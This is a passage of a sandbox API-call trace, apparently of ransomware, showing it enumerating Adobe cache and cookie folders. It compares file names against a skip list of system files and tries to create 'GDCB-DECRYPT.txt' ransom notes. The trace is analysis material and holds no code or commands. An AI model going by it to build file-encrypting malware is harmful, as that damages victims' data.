data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cache\\cache\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.324] GetLastError () returned 0x50 [0170.324] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\") returned 226 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*" [0170.324] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\*", lpFindFileData=0x285cf30 | out: lpFindFileData=0x285cf30) returned 0x5dd1d0 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_0" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0" [0170.324] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 232 [0170.324] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_0") returned 232 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_1" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1" [0170.324] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 232 [0170.324] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_1") returned 232 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_2" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2" [0170.324] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 232 [0170.324] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_2") returned 232 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="data_3" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3" [0170.324] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 232 [0170.324] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\data_3") returned 232 [0170.324] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt" [0170.324] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 242 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 242 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 242 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\GDCB-DECRYPT.txt") returned 242 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.325] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\", lpString2="index" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index" [0170.325] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 231 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Cache\\index") returned 231 [0170.325] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt" [0170.325] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 236 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 236 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 236 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\GDCB-DECRYPT.txt") returned 236 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="desktop.ini") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="autorun.inf") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="iconcache.db") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="bootsect.bak") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="boot.ini") returned 1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="ntuser.dat.log") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="thumbs.db") returned -1 [0170.325] lstrcmpiW (lpString1="GDCB-DECRYPT.txt", lpString2="GDCB-DECRYPT.txt") returned 0 [0170.325] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\", lpString2="Visited Links" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links" [0170.325] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 233 [0170.325] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cache\\Visited Links") returned 233 [0170.325] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\", lpString2="Cookie" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie" [0170.325] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie", lpString2="\\" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\" [0170.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=42, fCreate=0 | out: pszPath="C:\\Program Files (x86)") returned 1 [0170.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=43, fCreate=0 | out: pszPath="C:\\Program Files (x86)\\Common Files") returned 1 [0170.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=36, fCreate=0 | out: pszPath="C:\\Windows") returned 1 [0170.325] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x8c0000, csidl=28, fCreate=0 | out: pszPath="C:\\Users\\CIiHmnxMn6Ps\\AppData\\Local") returned 1 [0170.326] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 221 [0170.326] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.326] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0x5dd390 [0170.326] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0170.326] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.326] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0170.326] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0170.326] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.326] lstrcmpW (lpString1="Cookies", lpString2=".") returned 1 [0170.326] lstrcmpW (lpString1="Cookies", lpString2="..") returned 1 [0170.326] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.326] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 228 [0170.326] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.326] lstrcmpW (lpString1="Cookies-journal", lpString2=".") returned 1 [0170.326] lstrcmpW (lpString1="Cookies-journal", lpString2="..") returned 1 [0170.326] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.326] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned 236 [0170.326] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 1 [0170.326] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2=".") returned 1 [0170.326] lstrcmpW (lpString1="GDCB-DECRYPT.txt", lpString2="..") returned 1 [0170.326] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="GDCB-DECRYPT.txt" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt" [0170.326] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\GDCB-DECRYPT.txt") returned 237 [0170.326] lstrcmpW (lpString1=".txt", lpString2=".sql") returned 1 [0170.326] FindNextFileW (in: hFindFile=0x5dd390, lpFindFileData=0x285cf48 | out: lpFindFileData=0x285cf48) returned 0 [0170.326] FindClose (in: hFindFile=0x5dd390 | out: hFindFile=0x5dd390) returned 1 [0170.326] wsprintfW (in: param_1=0x8c0000, param_2="%s\\GDCB-DECRYPT.txt" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt") returned 238 [0170.326] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\\\GDCB-DECRYPT.txt" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\adobe\\acrocef\\dc\\acrobat\\cookie\\gdcb-decrypt.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0170.328] GetLastError () returned 0x50 [0170.328] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\") returned 221 [0170.328] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="*" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*" [0170.328] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\*", lpFindFileData=0x285d1b8 | out: lpFindFileData=0x285d1b8) returned 0x5dd2d0 [0170.329] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies" [0170.329] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 228 [0170.329] lstrlenW (lpString="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies") returned 228 [0170.329] lstrcatW (in: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\", lpString2="Cookies-journal" | out: lpString1="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal") returned="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Adobe\\AcroCef\\DC\\Acrobat\\Cookie\\Cookies-journal" [0170.329] wsprintfW (in: param_1=0x8c0000, param_2="%s" | out: param_1="C:\\Documents and 